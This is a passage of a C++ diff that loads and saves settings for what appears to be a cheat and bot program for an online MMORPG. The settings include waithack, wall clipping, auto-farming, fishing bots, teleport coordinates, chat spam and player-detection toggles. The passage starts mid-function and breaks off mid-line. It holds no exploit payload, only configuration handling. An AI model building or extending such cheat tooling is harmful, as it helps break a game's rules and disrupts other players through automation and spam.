j.at("MAIN_BLUE_POTION_PERCENTAGE_VALUE").get_to(MAIN_BLUE_POTION_PERCENTAGE_VALUE); + } + if (j.find("MAIN_BLUE_POTION_SPEED_VALUE") != j.end()) + { + j.at("MAIN_BLUE_POTION_SPEED_VALUE").get_to(MAIN_BLUE_POTION_SPEED_VALUE); + } + if (j.find("MAIN_AUTO_REVIVE_ENABLE") != j.end()) + { + j.at("MAIN_AUTO_REVIVE_ENABLE").get_to(MAIN_AUTO_REVIVE_ENABLE); + } + if (j.find("MAIN_AUTO_REVIVE_PERCENTAGE_VALUE") != j.end()) + { + j.at("MAIN_AUTO_REVIVE_PERCENTAGE_VALUE").get_to(MAIN_AUTO_REVIVE_PERCENTAGE_VALUE); + } + if (j.find("MAIN_CHANNEL_CHANGER_PORT_OFFSET") != j.end()) + { + j.at("MAIN_CHANNEL_CHANGER_PORT_OFFSET").get_to(MAIN_CHANNEL_CHANGER_PORT_OFFSET); + } + if (j.find("MAIN_BOOST_KEY") != j.end()) + { + j.at("MAIN_BOOST_KEY").get_to(MAIN_BOOST_KEY); + } + if (j.find("MAIN_RELOG_KEY") != j.end()) + { + j.at("MAIN_RELOG_KEY").get_to(MAIN_RELOG_KEY); + } + if (j.find("MAIN_GLOBAL_SWITCH_KEY") != j.end()) + { + j.at("MAIN_GLOBAL_SWITCH_KEY").get_to(MAIN_GLOBAL_SWITCH_KEY); + } + if (j.find("MAIN_HIDE_UI_KEY") != j.end()) + { + j.at("MAIN_HIDE_UI_KEY").get_to(MAIN_HIDE_UI_KEY); + } + if (j.find("MAIN_BOOST_SPEED") != j.end()) + { + j.at("MAIN_BOOST_SPEED").get_to(MAIN_BOOST_SPEED); + } + if (j.find("MAIN_WH_DETECT_PLAYER_ENABLE") != j.end()) + { + j.at("MAIN_WH_DETECT_PLAYER_ENABLE").get_to(MAIN_WH_DETECT_PLAYER_ENABLE); + } + if (j.find("ITEM_SLOT_RANDOM_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_RANDOM_ENABLE").get_to(ITEM_SLOT_RANDOM_ENABLE); + } + if (j.find("ITEM_SLOT_3_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_3_ENABLE").get_to(ITEM_SLOT_3_ENABLE); + } + if (j.find("ITEM_SLOT_4_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_4_ENABLE").get_to(ITEM_SLOT_4_ENABLE); + } + if (j.find("ITEM_SLOT_5_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_5_ENABLE").get_to(ITEM_SLOT_5_ENABLE); + } + if (j.find("ITEM_SLOT_6_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_6_ENABLE").get_to(ITEM_SLOT_6_ENABLE); + } + if (j.find("ITEM_SLOT_7_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_7_ENABLE").get_to(ITEM_SLOT_7_ENABLE); + } + if (j.find("ITEM_SLOT_8_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_8_ENABLE").get_to(ITEM_SLOT_8_ENABLE); + } + if (j.find("ITEM_SLOT_9_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_9_ENABLE").get_to(ITEM_SLOT_9_ENABLE); + } + if (j.find("ITEM_SLOT_10_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_10_ENABLE").get_to(ITEM_SLOT_10_ENABLE); + } + if (j.find("ITEM_SLOT_11_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_11_ENABLE").get_to(ITEM_SLOT_11_ENABLE); + } + if (j.find("ITEM_SLOT_12_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_12_ENABLE").get_to(ITEM_SLOT_12_ENABLE); + } + if (j.find("ITEM_SLOT_13_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_13_ENABLE").get_to(ITEM_SLOT_13_ENABLE); + } + if (j.find("ITEM_SLOT_14_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_14_ENABLE").get_to(ITEM_SLOT_14_ENABLE); + } + if (j.find("ITEM_SLOT_15_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_15_ENABLE").get_to(ITEM_SLOT_15_ENABLE); + } + if (j.find("ITEM_SLOT_16_ENABLE") != j.end()) + { + j.at("ITEM_SLOT_16_ENABLE").get_to(ITEM_SLOT_16_ENABLE); + } + if (j.find("ITEM_SLOT_RANDOM_MIN_TIME") != j.end()) + { + j.at("ITEM_SLOT_RANDOM_MIN_TIME").get_to(ITEM_SLOT_RANDOM_MIN_TIME); + } + if (j.find("ITEM_SLOT_RANDOM_MAX_TIME") != j.end()) + { + j.at("ITEM_SLOT_RANDOM_MAX_TIME").get_to(ITEM_SLOT_RANDOM_MAX_TIME); + } + if (j.find("ITEM_SLOT_3_TIME") != j.end()) + { + j.at("ITEM_SLOT_3_TIME").get_to(ITEM_SLOT_3_TIME); + } + if (j.find("ITEM_SLOT_4_TIME") != j.end()) + { + j.at("ITEM_SLOT_4_TIME").get_to(ITEM_SLOT_4_TIME); + } + if (j.find("ITEM_SLOT_5_TIME") != j.end()) + { + j.at("ITEM_SLOT_5_TIME").get_to(ITEM_SLOT_5_TIME); + } + if (j.find("ITEM_SLOT_6_TIME") != j.end()) + { + j.at("ITEM_SLOT_6_TIME").get_to(ITEM_SLOT_6_TIME); + } + if (j.find("ITEM_SLOT_7_TIME") != j.end()) + { + j.at("ITEM_SLOT_7_TIME").get_to(ITEM_SLOT_7_TIME); + } + if (j.find("ITEM_SLOT_8_TIME") != j.end()) + { + j.at("ITEM_SLOT_8_TIME").get_to(ITEM_SLOT_8_TIME); + } + if (j.find("ITEM_SLOT_9_TIME") != j.end()) + { + j.at("ITEM_SLOT_9_TIME").get_to(ITEM_SLOT_9_TIME); + } + if (j.find("ITEM_SLOT_10_TIME") != j.end()) + { + j.at("ITEM_SLOT_10_TIME").get_to(ITEM_SLOT_10_TIME); + } + if (j.find("ITEM_SLOT_11_TIME") != j.end()) + { + j.at("ITEM_SLOT_11_TIME").get_to(ITEM_SLOT_11_TIME); + } + if (j.find("ITEM_SLOT_12_TIME") != j.end()) + { + j.at("ITEM_SLOT_12_TIME").get_to(ITEM_SLOT_12_TIME); + } + if (j.find("ITEM_SLOT_13_TIME") != j.end()) + { + j.at("ITEM_SLOT_13_TIME").get_to(ITEM_SLOT_13_TIME); + } + if (j.find("ITEM_SLOT_14_TIME") != j.end()) + { + j.at("ITEM_SLOT_14_TIME").get_to(ITEM_SLOT_14_TIME); + } + if (j.find("ITEM_SLOT_15_TIME") != j.end()) + { + j.at("ITEM_SLOT_15_TIME").get_to(ITEM_SLOT_15_TIME); + } + if (j.find("ITEM_SLOT_16_TIME") != j.end()) + { + j.at("ITEM_SLOT_16_TIME").get_to(ITEM_SLOT_16_TIME); + } + if (j.find("ITEM_PICKUP_ENABLE") != j.end()) + { + j.at("ITEM_PICKUP_ENABLE").get_to(ITEM_PICKUP_ENABLE); + } + if (j.find("ITEM_PICKUP_FILTER_ENABLE") != j.end()) + { + j.at("ITEM_PICKUP_FILTER_ENABLE").get_to(ITEM_PICKUP_FILTER_ENABLE); + } + if (j.find("ITEM_PICKUP_DISTANCE") != j.end()) + { + j.at("ITEM_PICKUP_DISTANCE").get_to(ITEM_PICKUP_DISTANCE); + } + if (j.find("ITEM_PICKUP_STEP") != j.end()) + { + j.at("ITEM_PICKUP_STEP").get_to(ITEM_PICKUP_STEP); + } + if (j.find("ITEM_PICKUP_TIME") != j.end()) + { + j.at("ITEM_PICKUP_TIME").get_to(ITEM_PICKUP_TIME); + } + if (j.find("ITEM_PICKUP_TYPE") != j.end()) + { + j.at("ITEM_PICKUP_TYPE").get_to(ITEM_PICKUP_TYPE); + } + if (j.find("FISH_ENABLE") != j.end()) + { + j.at("FISH_ENABLE").get_to(FISH_ENABLE); + } + if (j.find("FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE") != j.end()) + { + j.at("FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE").get_to(FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE); + } + if (j.find("FISH_CAST_TIME_MIN_VALUE") != j.end()) + { + j.at("FISH_CAST_TIME_MIN_VALUE").get_to(FISH_CAST_TIME_MIN_VALUE); + } + if (j.find("FISH_CAST_TIME_MAX_VALUE") != j.end()) + { + j.at("FISH_CAST_TIME_MAX_VALUE").get_to(FISH_CAST_TIME_MAX_VALUE); + } + if (j.find("FISH_ROUND_TIME_MIN_VALUE") != j.end()) + { + j.at("FISH_ROUND_TIME_MIN_VALUE").get_to(FISH_ROUND_TIME_MIN_VALUE); + } + if (j.find("FISH_ROUND_TIME_MAX_VALUE") != j.end()) + { + j.at("FISH_ROUND_TIME_MAX_VALUE").get_to(FISH_ROUND_TIME_MAX_VALUE); + } + if (j.find("FISH_EMERGENCY_RUN_TIME_VALUE") != j.end()) + { + j.at("FISH_EMERGENCY_RUN_TIME_VALUE").get_to(FISH_EMERGENCY_RUN_TIME_VALUE); + } + if (j.find("FISH_CAST_TIME_ENABLE") != j.end()) + { + j.at("FISH_CAST_TIME_ENABLE").get_to(FISH_CAST_TIME_ENABLE); + } + if (j.find("FISH_ROUND_TIME_ENABLE") != j.end()) + { + j.at("FISH_ROUND_TIME_ENABLE").get_to(FISH_ROUND_TIME_ENABLE); + } + if (j.find("FISH_EMERGENCY_RUN_TIME_ENABLE") != j.end()) + { + j.at("FISH_EMERGENCY_RUN_TIME_ENABLE").get_to(FISH_EMERGENCY_RUN_TIME_ENABLE); + } + if (j.find("FISH_DETECT_PLAYER_ENABLE") != j.end()) + { + j.at("FISH_DETECT_PLAYER_ENABLE").get_to(FISH_DETECT_PLAYER_ENABLE); + } + if (j.find("FISH_KILL_TILL_SIZE_ENABLE") != j.end()) + { + j.at("FISH_KILL_TILL_SIZE_ENABLE").get_to(FISH_KILL_TILL_SIZE_ENABLE); + } + if (j.find("FISH_KILL_TILL_SIZE_VALUE") != j.end()) + { + j.at("FISH_KILL_TILL_SIZE_VALUE").get_to(FISH_KILL_TILL_SIZE_VALUE); + } + if (j.find("FISH_USE_FIRST_SLOT_ENABLE") != j.end()) + { + j.at("FISH_USE_FIRST_SLOT_ENABLE").get_to(FISH_USE_FIRST_SLOT_ENABLE); + } + if (j.find("FISH_KILL_FISH_ENABLE") != j.end()) + { + j.at("FISH_KILL_FISH_ENABLE").get_to(FISH_KILL_FISH_ENABLE); + } + if (j.find("FISH_SELL_TRASH_ENABLE") != j.end()) + { + j.at("FISH_SELL_TRASH_ENABLE").get_to(FISH_SELL_TRASH_ENABLE); + } + if (j.find("FISH_SELL_TRASH_AFTER_PERCENTAGE") != j.end()) + { + j.at("FISH_SELL_TRASH_AFTER_PERCENTAGE").get_to(FISH_SELL_TRASH_AFTER_PERCENTAGE); + } + if (j.find("FISH_DROP_TRASH_ENABLE") != j.end()) + { + j.at("FISH_DROP_TRASH_ENABLE").get_to(FISH_DROP_TRASH_ENABLE); + } + if (j.find("FISH_BUY_BAIT_ENABLE") != j.end()) + { + j.at("FISH_BUY_BAIT_ENABLE").get_to(FISH_BUY_BAIT_ENABLE); + } + if (j.find("FISH_BUY_BAIT_SHOP_SLOT") != j.end()) + { + j.at("FISH_BUY_BAIT_SHOP_SLOT").get_to(FISH_BUY_BAIT_SHOP_SLOT); + } + if (j.find("FISH_BUY_BAIT_SHOP_COUNT") != j.end()) + { + j.at("FISH_BUY_BAIT_SHOP_COUNT").get_to(FISH_BUY_BAIT_SHOP_COUNT); + } + if (j.find("FISH_SHOP_CAST_TELEPORT_ENABLE") != j.end()) + { + j.at("FISH_SHOP_CAST_TELEPORT_ENABLE").get_to(FISH_SHOP_CAST_TELEPORT_ENABLE); + } + if (j.find("FISH_STOP_IF_POSITION_CHANGED_ENABLE") != j.end()) + { + j.at("FISH_STOP_IF_POSITION_CHANGED_ENABLE").get_to(FISH_STOP_IF_POSITION_CHANGED_ENABLE); + } + if (j.find("FISH_STOP_IF_INVENTORY_FULL_ENABLE") != j.end()) + { + j.at("FISH_STOP_IF_INVENTORY_FULL_ENABLE").get_to(FISH_STOP_IF_INVENTORY_FULL_ENABLE); + } + if (j.find("FISH_TELEPORT_STEP_RANGE") != j.end()) + { + j.at("FISH_TELEPORT_STEP_RANGE").get_to(FISH_TELEPORT_STEP_RANGE); + } + if (j.find("FARM_ENABLE") != j.end()) + { + j.at("FARM_ENABLE").get_to(FARM_ENABLE); + } + if (j.find("FARM_MOB_ENABLE") != j.end()) + { + j.at("FARM_MOB_ENABLE").get_to(FARM_MOB_ENABLE); + } + if (j.find("FARM_BOSS_ENABLE") != j.end()) + { + j.at("FARM_BOSS_ENABLE").get_to(FARM_BOSS_ENABLE); + } + if (j.find("FARM_METIN_ENABLE") != j.end()) + { + j.at("FARM_METIN_ENABLE").get_to(FARM_METIN_ENABLE); + } + if (j.find("FARM_MINE_ENABLE") != j.end()) + { + j.at("FARM_MINE_ENABLE").get_to(FARM_MINE_ENABLE); + } + if (j.find("FARM_PLANT_ENABLE") != j.end()) + { + j.at("FARM_PLANT_ENABLE").get_to(FARM_PLANT_ENABLE); + } + if (j.find("FARM_DISTANCE") != j.end()) + { + j.at("FARM_DISTANCE").get_to(FARM_DISTANCE); + } + if (j.find("FARM_DROP_WAIT_DELAY") != j.end()) + { + j.at("FARM_DROP_WAIT_DELAY").get_to(FARM_DROP_WAIT_DELAY); + } + if (j.find("FARM_MOVE_TYPE") != j.end()) + { + j.at("FARM_MOVE_TYPE").get_to(FARM_MOVE_TYPE); + } + if (j.find("FARM_RENDER_PATH_ENABLE") != j.end()) + { + j.at("FARM_RENDER_PATH_ENABLE").get_to(FARM_RENDER_PATH_ENABLE); + } + if (j.find("SPAM_NORMAL_ENABLE") != j.end()) + { + j.at("SPAM_NORMAL_ENABLE").get_to(SPAM_NORMAL_ENABLE); + } + if (j.find("SPAM_SHOUT_ENABLE") != j.end()) + { + j.at("SPAM_SHOUT_ENABLE").get_to(SPAM_SHOUT_ENABLE); + } + if (j.find("SPAM_WISPER_ENABLE") != j.end()) + { + j.at("SPAM_WISPER_ENABLE").get_to(SPAM_WISPER_ENABLE); + } + if (j.find("SPAM_NORMAL_TIME") != j.end()) + { + j.at("SPAM_NORMAL_TIME").get_to(SPAM_NORMAL_TIME); + } + if (j.find("SPAM_WHISPER_TIME") != j.end()) + { + j.at("SPAM_WHISPER_TIME").get_to(SPAM_WHISPER_TIME); + } + if (j.find("SPAM_SHOUT_TIME") != j.end()) + { + j.at("SPAM_SHOUT_TIME").get_to(SPAM_SHOUT_TIME); + } + if (j.find("SPAM_NORMAL_COLOR_ENABLE") != j.end()) + { + j.at("SPAM_NORMAL_COLOR_ENABLE").get_to(SPAM_NORMAL_COLOR_ENABLE); + } + if (j.find("SPAM_WHISPER_COLOR_ENABLE") != j.end()) + { + j.at("SPAM_WHISPER_COLOR_ENABLE").get_to(SPAM_WHISPER_COLOR_ENABLE); + } + if (j.find("SPAM_SHOUT_COLOR_ENABLE") != j.end()) + { + j.at("SPAM_SHOUT_COLOR_ENABLE").get_to(SPAM_SHOUT_COLOR_ENABLE); + } + if (j.find("SPAM_NORMAL_RAINBOW_COLOR_ENABLE") != j.end()) + { + j.at("SPAM_NORMAL_RAINBOW_COLOR_ENABLE").get_to(SPAM_NORMAL_RAINBOW_COLOR_ENABLE); + } + if (j.find("SPAM_WHISPER_RAINBOW_COLOR_ENABLE") != j.end()) + { + j.at("SPAM_WHISPER_RAINBOW_COLOR_ENABLE").get_to(SPAM_WHISPER_RAINBOW_COLOR_ENABLE); + } + if (j.find("SPAM_SHOUT_RAINBOW_COLOR_ENABLE") != j.end()) + { + j.at("SPAM_SHOUT_RAINBOW_COLOR_ENABLE").get_to(SPAM_SHOUT_RAINBOW_COLOR_ENABLE); + } + if (j.find("REFINE_UPGRADE_TYPE") != j.end()) + { + j.at("REFINE_UPGRADE_TYPE").get_to(REFINE_UPGRADE_TYPE); + } + if (j.find("REFINE_UPGRADE_COUNT") != j.end()) + { + j.at("REFINE_UPGRADE_COUNT").get_to(REFINE_UPGRADE_COUNT); + } + if (j.find("REFINE_ITEM_SLOT") != j.end()) + { + j.at("REFINE_ITEM_SLOT").get_to(REFINE_ITEM_SLOT); + } + if (j.find("BUFF_ENABLE") != j.end()) + { + j.at("BUFF_ENABLE").get_to(BUFF_ENABLE); + } + if (j.find("BUFF_SKILL_1_ENABLE") != j.end()) + { + j.at("BUFF_SKILL_1_ENABLE").get_to(BUFF_SKILL_1_ENABLE); + } + if (j.find("BUFF_SKILL_2_ENABLE") != j.end()) + { + j.at("BUFF_SKILL_2_ENABLE").get_to(BUFF_SKILL_2_ENABLE); + } + if (j.find("BUFF_SKILL_3_ENABLE") != j.end()) + { + j.at("BUFF_SKILL_3_ENABLE").get_to(BUFF_SKILL_3_ENABLE); + } + if (j.find("BUFF_SKILL_1_TIME") != j.end()) + { + j.at("BUFF_SKILL_1_TIME").get_to(BUFF_SKILL_1_TIME); + } + if (j.find("BUFF_SKILL_2_TIME") != j.end()) + { + j.at("BUFF_SKILL_2_TIME").get_to(BUFF_SKILL_2_TIME); + } + if (j.find("BUFF_SKILL_3_TIME") != j.end()) + { + j.at("BUFF_SKILL_3_TIME").get_to(BUFF_SKILL_3_TIME); + } + if (j.find("STATUS_ENABLE") != j.end()) + { + j.at("STATUS_ENABLE").get_to(STATUS_ENABLE); + } + if (j.find("PROTECTION_SHOW_WHISPER_LOGS_ENABLE") != j.end()) + { + j.at("PROTECTION_SHOW_WHISPER_LOGS_ENABLE").get_to(PROTECTION_SHOW_WHISPER_LOGS_ENABLE); + } + if (j.find("PROTECTION_SHOW_WHISPER_BALLOON_ENABLE") != j.end()) + { + j.at("PROTECTION_SHOW_WHISPER_BALLOON_ENABLE").get_to(PROTECTION_SHOW_WHISPER_BALLOON_ENABLE); + } + if (j.find("PROTECTION_SHOW_TALK_BALLOON_ENABLE") != j.end()) + { + j.at("PROTECTION_SHOW_TALK_BALLOON_ENABLE").get_to(PROTECTION_SHOW_TALK_BALLOON_ENABLE); + } + if (j.find("PROTECTION_PLAY_WHISPER_BEEP_ENABLE") != j.end()) + { + j.at("PROTECTION_PLAY_WHISPER_BEEP_ENABLE").get_to(PROTECTION_PLAY_WHISPER_BEEP_ENABLE); + } + if (j.find("PROTECTION_PLAY_TALK_BEEP_ENABLE") != j.end()) + { + j.at("PROTECTION_PLAY_TALK_BEEP_ENABLE").get_to(PROTECTION_PLAY_TALK_BEEP_ENABLE); + } + if (j.find("PROTECTION_FLASH_TALK_ICON_ENABLE") != j.end()) + { + j.at("PROTECTION_FLASH_TALK_ICON_ENABLE").get_to(PROTECTION_FLASH_TALK_ICON_ENABLE); + } + if (j.find("PROTECTION_SHOW_TALK_LOGS_ENABLE") != j.end()) + { + j.at("PROTECTION_SHOW_TALK_LOGS_ENABLE").get_to(PROTECTION_SHOW_TALK_LOGS_ENABLE); + } + if (j.find("PROTECTION_RESTORE_WISPER_WINDOW_ENABLE") != j.end()) + { + j.at("PROTECTION_RESTORE_WISPER_WINDOW_ENABLE").get_to(PROTECTION_RESTORE_WISPER_WINDOW_ENABLE); + } + if (j.find("PROTECTION_FLASH_WHISPER_ICON_ENABLE") != j.end()) + { + j.at("PROTECTION_FLASH_WHISPER_ICON_ENABLE").get_to(PROTECTION_FLASH_WHISPER_ICON_ENABLE); + } + if (j.find("PROTECTION_DISABLE_RENDER_ENABLE") != j.end()) + { + j.at("PROTECTION_DISABLE_RENDER_ENABLE").get_to(PROTECTION_DISABLE_RENDER_ENABLE); + } + if (j.find("PROTECTION_DISABLE_UPDATE_ENABLE") != j.end()) + { + j.at("PROTECTION_DISABLE_UPDATE_ENABLE").get_to(PROTECTION_DISABLE_UPDATE_ENABLE); + } + if (j.find("PROTECTION_DISABLE_RENDER_FRAMES_ENABLE") != j.end()) + { + j.at("PROTECTION_DISABLE_RENDER_FRAMES_ENABLE").get_to(PROTECTION_DISABLE_RENDER_FRAMES_ENABLE); + } + if (j.find("PROTECTION_AUTO_LOGIN_ENABLE") != j.end()) + { + j.at("PROTECTION_AUTO_LOGIN_ENABLE").get_to(PROTECTION_AUTO_LOGIN_ENABLE); + } + if (j.find("RADAR_MONSTER_SHOW_ENABLE") != j.end()) + { + j.at("RADAR_MONSTER_SHOW_ENABLE").get_to(RADAR_MONSTER_SHOW_ENABLE); + } + if (j.find("RADAR_BOSS_SHOW_ENABLE") != j.end()) + { + j.at("RADAR_BOSS_SHOW_ENABLE").get_to(RADAR_BOSS_SHOW_ENABLE); + } + if (j.find("RADAR_NPC_SHOW_ENABLE") != j.end()) + { + j.at("RADAR_NPC_SHOW_ENABLE").get_to(RADAR_NPC_SHOW_ENABLE); + } + if (j.find("RADAR_MINING_SHOW_ENABLE") != j.end()) + { + j.at("RADAR_MINING_SHOW_ENABLE").get_to(RADAR_MINING_SHOW_ENABLE); + } + if (j.find("RADAR_STONE_SHOW_ENABLE") != j.end()) + { + j.at("RADAR_STONE_SHOW_ENABLE").get_to(RADAR_STONE_SHOW_ENABLE); + } + if (j.find("RADAR_PLAYER_SHOW_ENABLE") != j.end()) + { + j.at("RADAR_PLAYER_SHOW_ENABLE").get_to(RADAR_PLAYER_SHOW_ENABLE); + } + if (j.find("RADAR_WAYPOINT_SHOW_ENABLE") != j.end()) + { + j.at("RADAR_WAYPOINT_SHOW_ENABLE").get_to(RADAR_WAYPOINT_SHOW_ENABLE); + } + if (j.find("MAIN_WH_RENDER_COLOR") != j.end()) + { + ns::from_json(j.at("MAIN_WH_RENDER_COLOR"), MAIN_WH_RENDER_COLOR); + } + if (j.find("FISH_SHOP_TELEPORT_CORDS") != j.end()) + { + ns::from_json(j.at("FISH_SHOP_TELEPORT_CORDS"), FISH_SHOP_TELEPORT_CORDS); + } + if (j.find("FISH_CAST_TELEPORT_CORDS") != j.end()) + { + ns::from_json(j.at("FISH_CAST_TELEPORT_CORDS"), FISH_CAST_TELEPORT_CORDS); + } + if (j.find("SPAM_NORMAL_COLOR") != j.end()) + { + ns::from_json(j.at("SPAM_NORMAL_COLOR"), SPAM_NORMAL_COLOR); + } + if (j.find("SPAM_WHISPER_COLOR") != j.end()) + { + ns::from_json(j.at("SPAM_WHISPER_COLOR"), SPAM_WHISPER_COLOR); + } + if (j.find("SPAM_SHOUT_COLOR") != j.end()) + { + ns::from_json(j.at("SPAM_SHOUT_COLOR"), SPAM_SHOUT_COLOR); + } + if (j.find("RADAR_MONSTER_COLOR") != j.end()) + { + ns::from_json(j.at("RADAR_MONSTER_COLOR"), RADAR_MONSTER_COLOR); + } + if (j.find("RADAR_BOSS_COLOR") != j.end()) + { + ns::from_json(j.at("RADAR_BOSS_COLOR"), RADAR_BOSS_COLOR); + } + if (j.find("RADAR_NPC_COLOR") != j.end()) + { + ns::from_json(j.at("RADAR_NPC_COLOR"), RADAR_NPC_COLOR); + } + if (j.find("RADAR_MINE_COLOR") != j.end()) + { + ns::from_json(j.at("RADAR_MINE_COLOR"), RADAR_MINE_COLOR); + } + if (j.find("RADAR_STONE_COLOR") != j.end()) + { + ns::from_json(j.at("RADAR_STONE_COLOR"), RADAR_STONE_COLOR); + } + if (j.find("RADAR_PLAYER_COLOR") != j.end()) + { + ns::from_json(j.at("RADAR_PLAYER_COLOR"), RADAR_PLAYER_COLOR); + } + if (j.find("RADAR_WAYPOINT_COLOR") != j.end()) + { + ns::from_json(j.at("RADAR_WAYPOINT_COLOR"), RADAR_WAYPOINT_COLOR); + } + LoadServerVariables(); + } + + static void Save(string name, string folderPath) + { + nlohmann::json j = nlohmann::json + { + {"PROTECTION_DETECT_PLAYER_WHITE_LIST", PROTECTION_DETECT_PLAYER_WHITE_LIST}, + {"FISH_KILL_FISH_LIST", FISH_KILL_FISH_LIST}, + { "FISH_BAIT_LIST", FISH_BAIT_LIST }, + { "FISH_DROP_LIST", FISH_DROP_LIST }, + { "FISH_SELL_LIST", FISH_SELL_LIST }, + { "ITEM_PICKUP_SELECTED_LIST", ITEM_PICKUP_SELECTED_LIST }, + { "MAIN_STONE_DETECT_ENABLE", MAIN_STONE_DETECT_ENABLE }, + { "MAIN_MOBBER_ENABLE", MAIN_MOBBER_ENABLE }, + { "MAIN_ATTACK_ENABLE", MAIN_ATTACK_ENABLE }, + { "MAIN_ROTATION_ENABLE", MAIN_ROTATION_ENABLE }, + { "MAIN_ROTATION_SPEED_VALUE", MAIN_ROTATION_SPEED_VALUE }, + { "MAIN_SKILL_ENABLE", MAIN_SKILL_ENABLE }, + { "MAIN_SKILL_1_ENABLE", MAIN_SKILL_1_ENABLE }, + { "MAIN_SKILL_2_ENABLE", MAIN_SKILL_2_ENABLE }, + { "MAIN_SKILL_3_ENABLE", MAIN_SKILL_3_ENABLE }, + { "MAIN_SKILL_4_ENABLE", MAIN_SKILL_4_ENABLE }, + { "MAIN_SKILL_5_ENABLE", MAIN_SKILL_5_ENABLE }, + { "MAIN_SKILL_6_ENABLE", MAIN_SKILL_6_ENABLE }, + { "MAIN_NOK_ENABLE", MAIN_NOK_ENABLE }, + { "MAIN_NOP_ENABLE", MAIN_NOP_ENABLE }, + { "MAIN_WALL_MOB_ENABLE", MAIN_WALL_MOB_ENABLE }, + { "MAIN_WALL_OBJECT_ENABLE", MAIN_WALL_OBJECT_ENABLE }, + { "MAIN_WALL_TERRAIN_ENABLE", MAIN_WALL_TERRAIN_ENABLE }, + { "MAIN_WH_ENABLE", MAIN_WH_ENABLE }, + { "MAIN_WH_DISTANCE_VALUE", MAIN_WH_DISTANCE_VALUE }, + { "MAIN_WH_DISTANCE_STEP", MAIN_WH_DISTANCE_STEP }, + { "MAIN_WH_TYPE", MAIN_WH_WEAPON_TYPE }, + { "MAIN_WAITHACK_RANGE_ENABLE", MAIN_WAITHACK_RANGE_ENABLE }, + { "MAIN_WH_SKILL_COOLDOWN_TIME", MAIN_WH_SKILL_COOLDOWN_TIME }, + { "MAIN_WH_TIME", MAIN_WH_TIME }, + { "MAIN_WH_ATTACK_TYPE", MAIN_WH_ATTACK_TYPE }, + { "MAIN_WH_RENDER_ENABLE", MAIN_WH_RENDER_ENABLE }, + { "MAIN_WH_MONSTER", MAIN_WH_MONSTER }, + { "MAIN_WH_SKILL_VALUE", MAIN_WH_SKILL_VALUE }, + { "MAIN_WH_METIN", MAIN_WH_METIN }, + { "MAIN_WH_BOSS", MAIN_WH_BOSS }, + { "MAIN_WH_PLAYER", MAIN_WH_PLAYER }, + { "MAIN_MOB_DETECT_ENABLE", MAIN_MOB_DETECT_ENABLE }, + { "MAIN_POTION_ENABLE", MAIN_POTION_ENABLE }, + { "MAIN_RED_POTION_ENABLE", MAIN_RED_POTION_ENABLE }, + { "MAIN_RED_POTION_PERCENTAGE_VALUE", MAIN_RED_POTION_PERCENTAGE_VALUE }, + { "MAIN_RED_POTION_SPEED_VALUE", MAIN_RED_POTION_SPEED_VALUE }, + { "MAIN_BLUE_POTION_ENABLE", MAIN_BLUE_POTION_ENABLE }, + { "MAIN_BLUE_POTION_PERCENTAGE_VALUE", MAIN_BLUE_POTION_PERCENTAGE_VALUE }, + { "MAIN_BLUE_POTION_SPEED_VALUE", MAIN_BLUE_POTION_SPEED_VALUE }, + { "MAIN_AUTO_REVIVE_ENABLE", MAIN_AUTO_REVIVE_ENABLE }, + { "MAIN_AUTO_REVIVE_PERCENTAGE_VALUE", MAIN_AUTO_REVIVE_PERCENTAGE_VALUE }, + { "MAIN_CHANNEL_CHANGER_PORT_OFFSET", MAIN_CHANNEL_CHANGER_PORT_OFFSET }, + { "MAIN_BOOST_KEY", MAIN_BOOST_KEY }, + { "MAIN_RELOG_KEY", MAIN_RELOG_KEY }, + { "MAIN_GLOBAL_SWITCH_KEY", MAIN_GLOBAL_SWITCH_KEY }, + { "MAIN_HIDE_UI_KEY", MAIN_HIDE_UI_KEY }, + { "MAIN_BOOST_SPEED", MAIN_BOOST_SPEED }, + { "MAIN_WH_DETECT_PLAYER_ENABLE", MAIN_WH_DETECT_PLAYER_ENABLE }, + { "ITEM_SLOT_RANDOM_ENABLE", ITEM_SLOT_RANDOM_ENABLE }, + { "ITEM_SLOT_3_ENABLE", ITEM_SLOT_3_ENABLE }, + { "ITEM_SLOT_4_ENABLE", ITEM_SLOT_4_ENABLE }, + { "ITEM_SLOT_5_ENABLE", ITEM_SLOT_5_ENABLE }, + { "ITEM_SLOT_6_ENABLE", ITEM_SLOT_6_ENABLE }, + { "ITEM_SLOT_7_ENABLE", ITEM_SLOT_7_ENABLE }, + { "ITEM_SLOT_8_ENABLE", ITEM_SLOT_8_ENABLE }, + { "ITEM_SLOT_9_ENABLE", ITEM_SLOT_9_ENABLE }, + { "ITEM_SLOT_10_ENABLE", ITEM_SLOT_10_ENABLE }, + { "ITEM_SLOT_11_ENABLE", ITEM_SLOT_11_ENABLE }, + { "ITEM_SLOT_12_ENABLE", ITEM_SLOT_12_ENABLE }, + { "ITEM_SLOT_13_ENABLE", ITEM_SLOT_13_ENABLE }, + { "ITEM_SLOT_14_ENABLE", ITEM_SLOT_14_ENABLE }, + { "ITEM_SLOT_15_ENABLE", ITEM_SLOT_15_ENABLE }, + { "ITEM_SLOT_16_ENABLE", ITEM_SLOT_16_ENABLE }, + { "ITEM_SLOT_RANDOM_MIN_TIME", ITEM_SLOT_RANDOM_MIN_TIME }, + { "ITEM_SLOT_RANDOM_MAX_TIME", ITEM_SLOT_RANDOM_MAX_TIME }, + { "ITEM_SLOT_3_TIME", ITEM_SLOT_3_TIME }, + { "ITEM_SLOT_4_TIME", ITEM_SLOT_4_TIME }, + { "ITEM_SLOT_5_TIME", ITEM_SLOT_5_TIME }, + { "ITEM_SLOT_6_TIME", ITEM_SLOT_6_TIME }, + { "ITEM_SLOT_7_TIME", ITEM_SLOT_7_TIME }, + { "ITEM_SLOT_8_TIME", 